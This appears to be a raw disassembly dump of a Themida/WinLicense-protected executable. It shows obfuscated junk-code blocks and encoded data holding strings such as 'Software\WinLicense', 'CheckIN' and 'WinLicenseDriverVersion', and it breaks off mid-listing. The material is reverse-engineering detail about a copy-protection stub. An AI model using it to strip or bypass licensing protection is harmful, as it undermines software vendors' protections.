8F64h ; DATA XREF: Themida_:00590A20o dd 0B4FDE902h, 0F301FFFEh, 0FFE417E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A55A5: ; CODE XREF: Themida_:005A25A2j push dword ptr [eax] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A55AC: ; CODE XREF: Themida_:005A3753j shl ebx, 3 push ebp mov ebp, 37F20B5Bh shl ebp, 1 xor ebp, 1B4C48EDh or ebx, ebp pop ebp shr ebx, 2 add ebx, 0C084042Ah and eax, ebx pop ebx jmp loc_598FA2 ; --------------------------------------------------------------------------- db 66h, 81h, 0CFh dd 4F6669C0h, 0CE95566h, 8BFFFF77h, 0C483242Ch, 0E3895304h dd 4C381h, 0EB810000h, 4, 5C241C87h, 0BE243489h, 2, 4F9DE981h dd 0F101588Bh, 4F9DBB53h, 22E9588Bh, 81FFFF6Eh, 985889C7h dd 5FFD21F1h, 0ED81D5F7h, 6F448A5Ch, 2C8BE889h, 0E7895724h dd 4C781h, 0C7830000h, 243C8704h, 5124248Bh, 0FF719DE9h dd 81C701FFh, 0DA6117EFh, 0DAA1E913h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A564E: ; CODE XREF: Themida_:00594804j pop ecx add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 pop esi push ecx push esi mov esi, 3B471F2Fh not esi jmp loc_594ED2 ; --------------------------------------------------------------------------- dw 0BE56h dd 55C62470h, 0FF80FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A5685: ; CODE XREF: Themida_:0059D48Bj add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xor esi, [esp] xor [esp], esi jmp loc_59419A ; --------------------------------------------------------------------------- dd 4848B951h, 0E9410CBEh, 0FFFF1EA0h ; --------------------------------------------------------------------------- loc_5A56AC: ; CODE XREF: Themida_:0059C83Dj sub ecx, 60333C58h add ecx, edx add ecx, 60333C58h sub ecx, 15254483h push eax mov eax, 0 add eax, ecx xor [eax], ebp pop eax pop ecx jmp loc_5A4DF7 ; --------------------------------------------------------------------------- loc_5A56D1: ; CODE XREF: Themida_:00596A41j mov eax, [esp] add esp, 4 jmp loc_596703 ; --------------------------------------------------------------------------- db 66h dd 0E9E1285Bh, 0FFFFB6F9h, 2530E952h, 0C283FFFFh, 4EC8304h dd 0FF241489h, 0E9042474h, 0FFFF9A68h, 8924248Bh, 1BA2414h dd 9000000h, 685A1C57h, 0B53h, 0E9241C89h, 0FFFF56C9h ; --------------------------------------------------------------------------- loc_5A571C: ; CODE XREF: Themida_:005A0469j sub dword ptr [esp+4], 4C5C30B6h add dword ptr [esp+4], 1AF641FCh jmp loc_590C89 ; --------------------------------------------------------------------------- loc_5A5731: ; CODE XREF: Themida_:0059F591j mov ecx, esp push edx push edi mov edi, 80870EAh mov edx, 30EED359h add edx, edi pop edi shr edx, 8 jmp loc_59C266 ; --------------------------------------------------------------------------- dw 48Fh dd 0C537E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A5752: ; CODE XREF: Themida_:0059E80Cj pop edx add edx, ecx push dword ptr [esp] pop ecx push edx mov edx, esp add edx, 4 jmp loc_59E31B ; --------------------------------------------------------------------------- db 56h dd 47243C87h, 2474FF57h, 48F5F04h, 0F3685E24h, 89000040h dd 0B9BF243Ch, 6802086Dh, 0 dd 5F243C29h, 0BE93E94Fh, 0C5B8FFFEh, 0C178930Bh, 1A3508E8h dd 2D581526h, 2DF147F5h, 9BBFB951h, 0C801B9E0h, 8BC62959h dd 0C4812404h, 4, 295EF329h, 95C381EBh, 8B45094Ch, 68E9242Ch dd 0FFFFFFE5h, 39E92434h, 0B9FFFF9Ch, 4, 4244C01h, 2434FF59h dd 4EC815Bh, 89000000h, 0E789243Ch, 4C781h, 0C7830000h dd 243C8704h, 415B685Ch, 0C890000h, 4B924h, 0CB010000h dd 0F9BA5259h, 0E965C019h, 0FFFEBBF6h ; --------------------------------------------------------------------------- loc_5A5814: ; CODE XREF: Themida_:00597042j mov edi, [esp] jmp loc_5A2D7D ; --------------------------------------------------------------------------- loc_5A581C: ; CODE XREF: Themida_:0059106Fj sub esp, 4 jmp loc_5992E1 ; --------------------------------------------------------------------------- loc_5A5824: ; CODE XREF: Themida_:0059D0EBj cmp eax, edx jz loc_5A5B94 push 261h jmp loc_59612C ; --------------------------------------------------------------------------- dw 0F789h dd 0E924348Bh, 0FFFF73CDh, 802EEE80h, 0E600C5C6h, 0E9F3B151h dd 0FFFF2546h ; --------------------------------------------------------------------------- loc_5A5850: ; CODE XREF: Themida_:0059E3B0j mov edx, 2E512F80h jmp loc_594BE0 ; --------------------------------------------------------------------------- loc_5A585A: ; CODE XREF: Themida_:0059814Ej pop esi add esp, 4 jmp loc_591107 ; --------------------------------------------------------------------------- loc_5A5866: ; CODE XREF: Themida_:005A17D7j add ebp, ebx mov ebx, [esp] add esp, 4 xor ebp, [esp] jmp loc_5966E6 ; --------------------------------------------------------------------------- dw 2BEh dd 0E9000000h, 0FFFF8A20h, 8924248Bh, 5B54241Ch, 4BA52h dd 0B8500000h, 0C341C6h, 158C301h, 0C6EB81D3h, 0E900C341h dd 0FFFECF5Ch ; --------------------------------------------------------------------------- loc_5A58A4: ; CODE XREF: Themida_:00594AB1j mov ebx, [esp] jmp loc_595DAE ; --------------------------------------------------------------------------- dd 582434FFh, 6C996857h, 24890000h, 9E0CE924h, 1C8BFFFFh dd 0FAF1E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A58C6: ; CODE XREF: Themida_:00594606j sub edi, 7EA57992h push 6BAFh mov [esp], edi push ebx sub esp, 4 mov [esp], eax mov eax, 3C384728h mov ebx, eax pop eax sub [esp+4], ebx jmp loc_5950C8 ; --------------------------------------------------------------------------- dd 0B9E94658h db 69h, 2 dup(0FFh) byte_5A58F3 db 0ADh ; DATA XREF: Themida_:00590A24o dd 0FF1367E9h, 0BD555DFFh, 45D94B12h, 0FF220BE9h, 0EFC147FFh dd 0EF814704h, 0D3C25524h, 3F97C281h, 0FA291327h, 3F97EA81h dd 3C8B1327h, 4C48324h, 0F701EA83h, 81D2F7D2h, 0C96D53EAh dd 37C1816Dh, 0E9509914h, 0FFFF0DEDh, 5BD4685Fh, 0C890000h dd 5BD5524h, 0B974BA7Ah, 74BA7A09h, 15DE929h, 80BE9C8h dd 0E958FFFFh, 0FFFF8608h dword_5A5960 dd 51D830ACh, 0FE9ABB5h, 57FFFEE4h, 0C379B3BFh, 47DFF70Bh ; DATA XREF: Themida_:005907E0o dd 5E7C14Fh, 0B282C781h, 0FD21EC24h, 19ED815Fh, 83AE4A3Eh dd 348904ECh, 4EC8324h, 0FED0CCE9h, 3248BFFFh, 0C2E9194Bh dd 8BFFFF7Fh, 0C483241Ch, 5334E904h, 0F181FFFFh, 75C2D38h dd 61A8E981h, 0C9813D4Ah, 76FD2769h, 0FF22CDE9h, 4C481FFh dd 0E9000000h, 0FFFEBD64h ; --------------------------------------------------------------------------- loc_5A59CC: ; CODE XREF: Themida_:005978D7j pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push eax jmp loc_59F00B ; --------------------------------------------------------------------------- db 68h dd 6915h, 0FF424AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A59E9: ; CODE XREF: Themida_:0059E414j sub ecx, 1005214h jmp loc_59CB7E ; --------------------------------------------------------------------------- loc_5A59F4: ; CODE XREF: Themida_:005984EBj add esp, 4 pop dword ptr [esp] pop esp add eax, 671363C3h push edi mov edi, esp add edi, 4 jmp loc_59F4D4 ; --------------------------------------------------------------------------- dw 0DA01h dd 1CEEEA81h, 875B0B10h, 0E95C2414h, 0FFFF136Dh, 1C8BDE89h dd 4C48324h, 0F75E5A56h, 6EAC1DAh, 0B1BEE951h, 232DFFFFh dd 1255517h, 23BE56F0h, 0E9255517h, 0FFFFB8D8h, 5324048Bh dd 4EC81h, 0E9540000h, 0FFFF7358h, 0E9241C33h, 0FFFF901Ch dd 0E9D88850h, 0FFFF8E43h, 42474FFh, 24048F5Bh, 5224248Bh dd 0FEF6F9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A5A79: ; CODE XREF: Themida_:0059A10Bj add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_59A116 ; --------------------------------------------------------------------------- loc_5A5A8E: ; CODE XREF: Themida_:005989C0j push ecx jmp loc_5964A9 ; --------------------------------------------------------------------------- dd 8B2434FFh, 89522404h, 0B85053E2h, 2208291Dh, 0FF65B2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A5AA9: ; CODE XREF: Themida_:0059FB00j or edx, 773073B9h and edx, 64D83586h add edx, 0D768E717h add ebx, edx pop edx mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5A4654 ; --------------------------------------------------------------------------- aQSUPEo0@h db '¾Q',0Dh,'#S)î]P¸…o',8,'0@h',0 align 4 dd 24042900h, 8324048Bh, 5CE904C4h, 68FFFEEBh, 42C2h, 0E9240C89h dd 0FFFF6A4Eh ; --------------------------------------------------------------------------- loc_5A5B04: ; CODE XREF: Themida_:005A1135j add esp, 4 push ebx mov ebx, 16B6620Dh add eax, ebx pop ebx sub eax, 76795273h add eax, ebp add eax, 76795273h push ebp mov ebp, 16B6620Dh jmp loc_592921 ; --------------------------------------------------------------------------- loc_5A5B2A: ; CODE XREF: Themida_:00593176j add [esp+4], edx jmp loc_59EC6F ; --------------------------------------------------------------------------- db 33h dd 248B242Ch, 4216624h, 58E99C24h, 5AFFFEAFh, 8DC0B60Fh dd 0DFE98704h, 0BBFFFF37h, 0F7D0DE24h, 0FEC277E9h, 8BEA29FFh dd 0C483242Ch, 81EA2904h, 0B51763C2h, 0C90B5D1Fh, 0F290840Fh dd 0EC83FFFFh, 48F5404h, 4BA5224h, 52000000h, 0FF965CE9h dd 88F188FFh, 0E28EE9CFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A5B8E: ; CODE XREF: Themida_:0059F563j mov ebp, [esp] add esp, 4 loc_5A5B94: ; CODE XREF: Themida_:0059B4AFj ; Themida_:005A5826j push dword ptr [esp] jmp loc_59BD1A ; --------------------------------------------------------------------------- dd 0FF1C5F21h, 0A3E92434h, 1FFFEEFh, 243C8BF9h, 4C481h dd 0C1810000h, 4, 0FFCED4E9h, 81CE01FFh, 2F086DEEh, 3CB8505Dh dd 5352C28h, 3A5A64FCh, 1AD1DF35h, 0BE1FE96Fh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A5BDA: ; CODE XREF: Themida_:005943D9j mov [esp], esi push 65246C5Dh jmp loc_5945AD ; --------------------------------------------------------------------------- loc_5A5BE7: ; CODE XREF: Themida_:00595CC4j add eax, 4A6B3D74h jmp loc_5A2923 ; --------------------------------------------------------------------------- db 0E9h, 48h, 0 dd 6DB20000h, 5355310Bh, 32335245h, 6C6C642Eh, 56444100h dd 33495041h, 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h dd 407D8h, 1C0001h, 260005h, 28A0031h, 4 dup(0) dd 0D1E90000h, 68000008h, 6159A55h, 0FDE7DFE9h, 9AD568FFh dd 0D5E90615h, 68FFFDE7h, 6159BFDh, 0FDE7CBE9h, 9DAD68FFh dd 0C1E90615h, 68FFFDE7h, 6159E3Eh, 0FDE7B7E9h, 9F2A68FFh dd 0ADE90615h, 68FFFDE7h, 6159F93h, 0FDE7A3E9h, 68EE7CFFh dd 78D6684Ah, 66E4785Ah, 7FD16248h, 68EC795Fh, 0B7D45B4Ah dd 0A68C2A2Ah, 0BC9E3C16h, 9F812127h, 0D3A03E0Eh, 4DFD598Ch dd 53C616B3h, 0D8D2B9EFh, 22F0EEEFh, 10D862F6h, 0EAC9BDA4h dd 0FA56E5CDh, 63A22A6Bh, 168EE3C2h, 0BC51B2D3h, 0C334D545h dd 0A4094B6h, 0A612DA3Bh, 79ECCBBBh, 36A1B584h, 0EB49187Dh dd 143390F6h, 0A5B49E2Eh, 582D5C64h, 0D1308E8Ch, 1D506F4Ch dd 248A77C1h, 94C10B8Ah, 91311BAEh, 3B2E1EAFh, 9A031233h dd 4BA8A544h, 12000007h, 0E3492C4h, 0E3492BCh, 103290BAh dd 0F3191BFh, 13492C2h, 0E470BD2Eh, 0FE54E4C6h, 0E365FAE0h dd 4CDDC3h, 47B699A2h, 16B34ECBh, 0BDE17D94h, 0AB9B1A6Ch dd 0AA102469h, 77C6ECCBh, 585413DDh, 2B1DB211h, 654A6D4Ah dd 0B82087E8h, 47C60E31h, 16890CF7h, 0A4862568h, 0B799390Fh dd 0B8CF6124h, 0F5142523h, 5F44C594h, 89D31641h, 19284938h dd 0B5A8A435h, 8001F37Fh, 0CB302DBCh, 92000006h, 8EB41244h dd 8EB4123Ch, 90B2103Ah, 8FB1113Fh, 81B41242h, 64F03DAEh dd 7ED46446h, 63E57A60h, 80CC5D43h, 0C7361922h, 16B34F4Bh dd 0BD61FD14h, 0FE8D1D6Ch, 73C2A3ADh, 97F3AD12h, 2846A219h dd 0C0456A49h, 836C580Eh, 51C541B4h, 0F8E109Eh, 0C307666Eh dd 0D5FDDA72h, 7ED80D87h, 47109E52h, 0B496A7C6h, 0FA1B2A20h dd 0ED92519Bh, 0F0C0EC5Dh, 58A3417Bh, 4Ch, 0E06CBDFEh dd 0E0C268C2h, 49B8004Eh, 109DB4C9h, 3A98B405h, 0A6A2351Dh dd 0BFC7221Eh, 0CD1B3F20h, 7FCC3B85h, 0EC168EC2h, 93280AA9h dd 123815B5h, 5DBC8DBFh, 5AEE4193h, 614CE0Bh, 0C9F10000h dd 6FEB1A7Ch, 380A8A40h, 0B22CB4D5h, 51E06CBDh, 5B780E53h dd 0D968E877h, 42330B8h, 35BF891Eh, 8EA547D6h, 0B5157816h dd 0AC0A4293h, 0FA4E756Ch, 63923150h, 10751E1Ch, 90B71479h dd 9EA13A6Fh, 6ADE717Ah, 11DBBADBh, 0FF49DEC4h, 0ACE1FEDFh dd 4751B32h, 0A6389AFBh, 707899A8h, 0EE7FC95Eh, 7EF359ECh dd 79EDB564h, 0A303DE8Dh, 0BA000005h, 0A68C2A2Ch, 0B69C3A14h dd 0A88A2822h, 0B7993917h, 998C2A2Ah, 6CE87596h, 76DC6C4Eh dd 6BDD7258h, 78D4654Bh, 1F4E915Ah, 16B34FC3h, 0BD29158Ch dd 7251E06Ch, 3520050h, 0C5183A82h, 0F0B520C1h, 0A5C41B0Eh dd 0E663EF94h, 17391E41h, 8DDFF5B3h, 0B4108AFBh, 0B4D9109Eh dd 0B688DD2Ch, 0D56F109Eh, 0A3411704h, 0FFFEEDACh, 0DDC292FFh dd 0FB6A7BBAh, 109E459Fh, 5A7E2568h, 6A6C74FBh, 0C8E475D7h dd 97C6E5A1h, 168EC4FEh, 71ED203Fh, 3A0A8ABEh, 1C1CBADBh dd 0BDE2C1C5h, 27D4842Ch, 401DA706h, 7BBB88CDh, 0ADBCE110h dd 77B4FD5Ch, 41BA5404h, 9BE65D1Bh, 0CB1B3F50h, 948DB283h dd 6E577C1Dh, 94C9E687h, 478A83Ah, 0E33A8203h, 1FBh, 0D27CCEF4h dd 0E5C2500Ah, 0B53793C2h, 9D00109Dh, 9DB572ECh, 0FF143B10h dd 0DC36197Dh, 0DDF3FD9Ch, 348CD5F6h, 1914477h, 17B4D560h dd 0A249C538h, 0F312109Eh, 0F879ECE9h, 79168F92h, 8FAB2756h dd 4EDF0A8Bh, 0A42C71FEh, 0A825C647h, 0C3358411h, 3F0DA082h dd 0B2982C2Eh, 0B90362A3h, 8522647Dh, 2F3E0A9Dh, 0D6F9E6EEh dd 5FEE64F4h, 766EE7Bh, 2B3A12A3h, 8EA3E2EAh, 8736A264h dd 0F5EF643h, 62419DD0h, 8B0A2A9Eh, 3E98CDEAh, 72A9E62h dd 7956E786h, 61AB2756h, 51DF2A9Eh, 82D13001h, 0C5DEB40h dd 0D8E4EC8Dh, 875D2F91h, 829848AFh, 0DC91C4E3h, 55308EC7h dd 0F6EDA6Dh, 15378AB0h, 1EB298B5h, 0DFFC1D2Ch, 8AB434AEh dd 5098FD24h, 0ACA1ABFEh, 9A034E9Ch, 0F3DFFAB1h, 6A000003h dd 765C7ADCh, 664C6AE4h, 785A78D2h, 674969E7h, 695C7ADAh dd 3C18A5C6h, 262CBC9Eh, 3B0DA288h, 2824B59Bh, 6F9EC18Ah dd 16B351F3h, 0A3F965BCh, 0CCEBC8BEh, 9DB53D99h, 8CFD6E10h dd 9DCA3D13h, 0D96B4FCEh, 0FB6A6771h, 1688F4E3h, 0C842B394h dd 910A88E1h, 0E43EAF0Ch, 0AD0A88E1h, 0C4036068h, 88E23591h dd 0A3FF6E0Ah, 6C0A88E1h, 9AFB1A29h, 86C2153Dh, 9BAD0228h dd 14A58DCAh, 0B9EB038h, 41202A7Eh, 17BC60Ch, 65600780h dd 362h, 0C7E76FFBh, 0DDFD51E1h, 0C1E169FBh, 0A20050DFh dd 83233180h, 0DF6E9F90h, 0E5735575h, 0D86B4D6Dh, 0DD705270h dd 5D824F6Fh, 0B352AE28h, 40227716h, 51E06CBDh, 4DFB5072h dd 1539DFCh, 0C6CD9CB0h, 63B6AF4Ch, 4A109DB7h, 0BE1421F2h dd 0FCC4895Ch, 0C2ADFFFFh, 0B51670E5h, 1E4F109Dh, 109DB4C4h dd 0DA3B088Dh, 0DF6DC012h, 0C366518Eh, 4D4B4986h, 0F0F9458Fh dd 11C43996h, 4A168EF1h, 0E7183105h, 3628E78h, 11A082A3h dd 0B9DF7943h, 0DDA9C0D9h, 0C288DCFEh, 8DCA1273h, 8EA5D958h dd 48ABEA16h, 77B65FC5h, 0AF144DB2h, 0FD1C2D1Dh, 77C68AD9h dd 25587716h, 68642110h, 3B97C609h, 45C601Eh, 0C18D1D81h dd 53701170h, 6870E06Fh, 0E0A6BBF9h, 0F7DF92C3h, 35586250h dd 2B21B496h, 3814A58Bh, 0C57DF745h, 488524CBh, 276h, 0DBFB5BE7h dd 0C9E965F5h, 0D5F555E7h, 0CEEC64F3h, 0D7F75DECh, 93224BE4h dd 71BFE1C1h, 4CDFC1E1h, 69FCDEFCh, 0D9F6C3E3h, 0B3542AA4h dd 0C49EF316h, 0FE4CE0C2h, 9AA62E6Fh, 0B298374Fh, 368A2C1Eh dd 5E8FCC14h, 16882E52h, 9EC11E7Fh, 15242ABCh, 55EAECF4h dd 5AEDD3F3h, 0EA7B5FEEh, 0B5BBEF62h, 15D48000h, 20D38h dd 54025000h, 4C025476h, 52F84C6Eh, 53FD4E74h, 54004D73h dd 83E84776h, 9AC01E36h, 88AA084Ah, 93B51533h, 9FAC0A42h dd 53D14DC0h, 879A16B3h, 4EE0C2DBh, 657CB800h, 8D9D8221h dd 8DFC73D2h, 94C916DEh, 16886D88h, 4F7350B5h, 56834DFDh dd 4B6BE174h, 516E144Bh, 885ACC1Ch, 4D1C810Ah, 0C998BC09h dd 0C2921F11h, 727CBAE5h, 5F077788h, 20474795h, 0BE104562h dd 770A888Dh, 0B2034716h, 0E1C585D7h, 0D0310054h, 82AA0B1h dd 113797B5h, 95BD8CC0h, 4E0653CAh, 0C68EDBFFh, 9A2F6177h dd 0E6638DABh, 86CA1941h, 83C91C3Eh, 3674FB24h, 75665DA0h dd 0FA4B6D6Bh, 72BF0352h, 1DAB53E2h, 0E963F6ACh, 92C3ECC9h dd 8B0776EFh, 540A87E5h, 396B8A31h, 0F643955Fh, 18C70F5Eh dd 2EE45587h, 3416B59Fh, 7E9FAEA4h, 0F3426876h, 59EED061h dd 88A5EEFh, 1C72BF73h, 44D3B849h, 0C7E7865Eh, 6DFC50E1h dd 0D913041Ch, 0BB50C2A2h, 0BC96260Ch, 0BD8F2234h, 0DCAA3B1Dh dd 0FD8AD182h, 2D950BC5h, 0C2425E45h, 6A6CFD9Ch, 77E879DBh dd 9CF66748h, 65521453h, 0DD6E9820h, 1AB89425h, 0F8E1A538h dd 8A1908DDh, 9391A0C1h, 0A3E2754Eh, 0B5A3B13h, 22BDEAC4h dd 731201D0h, 0FF4EFE4Fh, 0ADE0FF9Eh, 58058AC0h, 7DA65E69h dd 1382BF5Ah, 0D545472h, 0D46623B6h, 0CBAAEB7Ah, 26B71B7Ah dd 97F61726h, 0C5381738h, 4C015349h, 9AE9F312h, 51EBCC68h dd 0E86CF9E1h, 0BA409ACBh, 840945EBh, 0DF7254E5h, 47704D6Dh dd 0DB1B5AF9h, 79C7EB97h, 6CBD0FD9h, 4CDFC3E0h, 8A2C6DFCh dd 1AC91335h, 0D2359AEBh, 0EE8B075Ch, 7C5BF144h, 9EB02A5Bh dd 74E90ECDh, 0ECD9F1Ah, 7095A2E3h, 0F5486A68h, 3D0C4294h dd 0AAACBDDCh, 32263719h, 5FBB2A0Dh, 280ECD9Fh, 0DABB8D22h dd 54037812h, 0E071DB6Eh, 0A43517A1h, 95280AA8h, 3ABA6B7h dd 7000000h, 71BDE17Bh, 0DF7254E5h, 65FADC6Dh, 0E07052E3h dd 52DFE372h, 0C20F3302h, 307FC392h, 9B2D1120h, 2ABC9EAFh dd 68221524h, 3E4Fh, 53240C89h, 0C381E389h, 4, 8704EB83h dd 895C241Ch, 8953242Ch, 4C381E3h, 81000000h, 4EBh, 241C8700h dd 2414895Ch, 9DB6853h, 815B2C09h, 0C8FE4C3h, 8BDD89DAh dd 0C481241Ch, 4, 24148B54h, 6804C483h, 76BAh, 8F242C89h dd 148B0842h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ebp add esp, 4 jmp loc_58442C ; --------------------------------------------------------------------------- dd 977B4A7Fh, 9874E1FDh, 15A1C5B8h, 0FFC50306h, 67FD19E0h dd 0AAAE4A2Ch, 5822F575h, 3A5AA219h, 7A984766h, 0B8B51B0Bh dd 7E73D918h, 91B3F44h, 8CEB7D37h, 0ED57C720h, 71C4EA65h dd 0FAA21526h, 11E83Eh, 0CBEC0000h, 7DF52700h, 25FBEA75h dd 7871A5F9h, 0B7C5078Bh, 0C0805E03h, 0E4C68137h, 0FC00005Dh dd 174A68h, 13E900h, 0ECC40000h, 5D13B0F3h, 0DA0D2587h dd 0B2EFACF9h, 0A9414662h, 0BF0F5A3Ah, 8136FFCAh, 0F0C16CC1h dd 0C78B5F70h, 8814C781h, 0B9662AA5h, 0EF817FD0h, 40F1E712h dd 6840Fh, 0C3810000h, 9D9B46Fh, 827EF81h, 0CD801BE0h dd 0CB81572Ah, 5D79B60h, 83FC068Fh, 816004EEh, 0B2FE73C8h dd 0D2B70F1Eh, 1EA8161h, 0F000000h, 1885h, 0B5BB6600h dd 24E913h, 3510000h, 0ECB36F0Ah, 1D293DF0h, 859ED0FCh dd 0A6BB6603h, 0FF8BE9C4h, 8183FFFFh, 7AA451E5h, 7808FBAFh dd 8DE9B268h, 60000000h, 0EFDBD83h, 0F000613h, 584h, 78E900h dd 6A0000h, 0F303E80h, 885h, 46006A00h, 35E9h, 333E8000h dd 8850Fh, 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 3E80006Ah dd 12850F20h, 80000000h, 0F00017Eh, 885h, 8C48300h, 15E9h dd 0A5858D00h, 5006132Ah, 96240489h, 6A9650h, 15595FFh dd 0C3610613h, 11E185C6h, 684D0613h, 9A00E4D3h, 0D5240481h dd 0FF0A3491h, 1310D1B5h, 0AD858D06h, 0FF06133Ah, 558589D0h dd 0E9061301h, 0AAh, 74666F53h, 65726177h, 6E69575Ch, 6563694Ch dd 65736Eh, 63656843h, 4E496Bh, 6F727058h, 69784574h, 68430074h dd 4F6B6365h, 57005455h, 694C6E69h, 736E6563h, 72655665h dd 6E6F6973h, 6E695700h, 6563694Ch, 4465736Eh, 65766972h dd 72655672h, 6E6F6973h, 6E695700h, 6563694Ch, 4965736Eh dd 6174736Eh, 65636Eh, 74697845h, 50006B4Fh, 49636F72h dd 7250004Eh, 554F636Fh, 78450054h, 4E497469h, 69784500h dd 54554F74h, 49705400h, 4Eh, 2 dup(0) dd 0B9080000h, 0D5BB77DEh, 96E977DFh, 89000005h, 15A4A085h dd 9C858D06h, 500615A4h, 0A406858Dh, 68500615h, 80000001h dd 0A4AC95FFh, 196A0615h, 0A4A0B5FFh, 16A0615h, 858D006Ah dd 615A435h, 9CB5FF50h, 0FF0615A4h, 131D4595h, 9CB5FF06h dd 0FF0615A4h, 15A4A895h, 9CB5FF06h, 0FF0615A4h, 1331CD95h dd 8589C306h, 615A4A0h, 0A49C858Dh, 8D500615h, 15A40685h dd 1685006h, 0FF800000h, 15A4AC95h, 8D046A06h, 15A4A085h dd 46A5006h, 858D006Ah, 615A45Fh, 9CB5FF50h, 0FF0615A4h dd 131D4595h, 9CB5FF06h, 0FF0615A4h, 15A4A895h, 9CB5FF06h dd 0FF0615A4h, 1331CD95h, 8589C306h, 615A4A0h, 0A49C858Dh dd 8D500615h, 15A40685h, 1685006h, 0FF800000h, 15A4AC95h dd 8D046A06h, 15A4A085h, 46A5006h, 858D006Ah, 615A447h dd 9CB5FF50h, 0FF0615A4h, 131D4595h, 9CB5FF06h, 0FF0615A4h dd 15A4A895h, 9CB5FF06h, 0FF0615A4h, 1331CD95h, 8589C306h dd 615A4A0h, 0A49C858Dh, 8D500615h, 15A40685h, 1685006h dd 0FF800000h, 15A4AC95h, 8D046A06h, 15A4A085h, 46A5006h dd 858D006Ah, 615A472h, 9CB5FF50h, 0FF0615A4h, 131D4595h dd 9CB5FF06h, 0FF0615A4h, 15A4A895h, 9CB5FF06h, 0FF0615A4h dd 1331CD95h, 8589C306h, 615A4A0h, 0A49C858Dh, 8D500615h dd 15A40685h, 1685006h, 0FF800000h, 15A4AC95h, 8D046A06h dd 15A4A085h, 46A5006h, 858D006Ah, 615A422h, 9CB5FF50h dd 0FF0615A4h, 131D4595h, 9CB5FF06h, 0FF0615A4h, 15A4A895h dd 9CB5FF06h, 0FF0615A4h, 1331CD95h, 0BD83C306h, 613206Dh dd 0B840F00h, 8B000000h, 13206D9Dh, 4CC38306h, 83C30389h dd 13206DBDh, 840F0006h, 0Bh, 206D9D8Bh, 0C3830613h, 0C3038950h dd 206DBD83h, 0F000613h, 0B84h, 6D9D8B00h, 83061320h, 38954C3h dd 6DBD83C3h, 61320h, 0B840Fh, 9D8B0000h, 613206Dh, 8958C383h dd 0BD83C303h, 613206Dh, 0B840F00h, 8B000000h, 13206D9Dh dd 5CC38306h, 0C3C30389h, 0A0858960h, 8D0615A4h, 15A49C85h dd 858D5006h, 615A406h, 16850h, 95FF8000h, 615A4ACh, 858D046Ah dd 615A4A0h, 6A046A50h, 97858D00h, 500615A4h, 0A49CB5FFh dd 95FF0615h, 6131D45h, 1625BD83h, 0F000613h, 0C84h, 9CB5FF00h dd 0FF0615A4h, 15A4A895h, 9CB5FF06h, 0FF0615A4h, 1331CD95h dd 60C36106h, 0A4A08589h, 858D0615h, 615A49Ch, 6858D50h dd 500615A4h, 168h, 0AC95FF80h, 6A0615A4h, 0A0858D04h dd 500615A4h, 6A046Ah, 0A479858Dh, 0FF500615h, 15A49CB5h dd 4595FF06h, 8306131Dh, 131625BDh, 840F0006h, 0Ch, 0A49CB5FFh dd 95FF0615h, 615A4A8h, 0A49CB5FFh, 95FF0615h, 61331CDh dd 8960C361h, 15A4A085h, 9C858D06h, 500615A4h, 0A406858Dh dd 68500615h, 80000001h, 0A4AC95FFh, 46A0615h, 0A4A0858Dh dd 6A500615h, 8D006A04h, 15A48085h, 0B5FF5006h, 615A49Ch dd 1D4595FFh, 0BD830613h, 6131625h, 0C840F00h, 0FF000000h dd 15A49CB5h, 0A895FF06h, 0FF0615A4h, 15A49CB5h, 0CD95FF06h dd 61061331h, 858960C3h, 615A4A0h, 0A49C858Dh, 8D500615h dd 15A40685h, 1685006h, 0FF800000h, 15A4AC95h, 8D046A06h dd 15A4A085h, 46A5006h, 858D006Ah, 615A488h, 9CB5FF50h dd 0FF0615A4h, 131D4595h, 25BD8306h, 61316h, 0C840Fh, 0B5FF0000h dd 615A49Ch, 0A4A895FFh, 0B5FF0615h, 615A49Ch, 31CD95FFh dd 0C3610613h, 0A0858960h, 8D0615A4h, 15A49C85h, 858D5006h dd 615A406h, 16850h, 95FF8000h, 615A4ACh, 858D046Ah, 615A4A0h dd 6A046A50h, 8F858D00h, 500615A4h, 0A49CB5FFh, 95FF0615h dd 6131D45h, 1625BD83h, 0F000613h, 0C84h, 9CB5FF00h, 0FF0615A4h dd 15A4A895h, 9CB5FF06h, 0FF0615A4h, 1331CD95h, 60C36106h dd 0A4A085C7h, 10615h, 858D0000h, 615A49Ch, 6858D50h, 500615A4h dd 268h, 0AC95FF80h, 0B0615A4h, 0F840FC0h, 0C7000000h dd 15A4A085h, 6, 4DE900h, 46A0000h, 0A4A0858Dh, 6A500615h dd 8D006A04h, 15A41A85h, 0B5FF5006h, 615A49Ch, 1D4595FFh dd 0C00B0613h, 0F840Fh, 85C70000h, 615A4A0h, 0 dd 0AE9h, 0A085C700h, 10615A4h, 0FF000000h, 15A49CB5h dd 0CD95FF06h, 61061331h, 0A4A0858Bh, 60C30615h, 0A4A08589h dd 858D0615h, 615A49Ch, 6858D50h, 500615A4h, 168h, 0AC95FF80h dd 6A0615A4h, 0A0858D04h, 500615A4h, 6A046Ah, 0A41A858Dh dd 0FF500615h, 15A49CB5h, 4595FF06h, 8306131Dh, 131625BDh dd 840F0006h, 0Ch, 0A49CB5FFh, 95FF0615h, 615A4A8h, 0A49CB5FFh dd 95FF0615h, 61331CDh, 8960C361h, 15A4A085h, 9C858D06h dd 500615A4h, 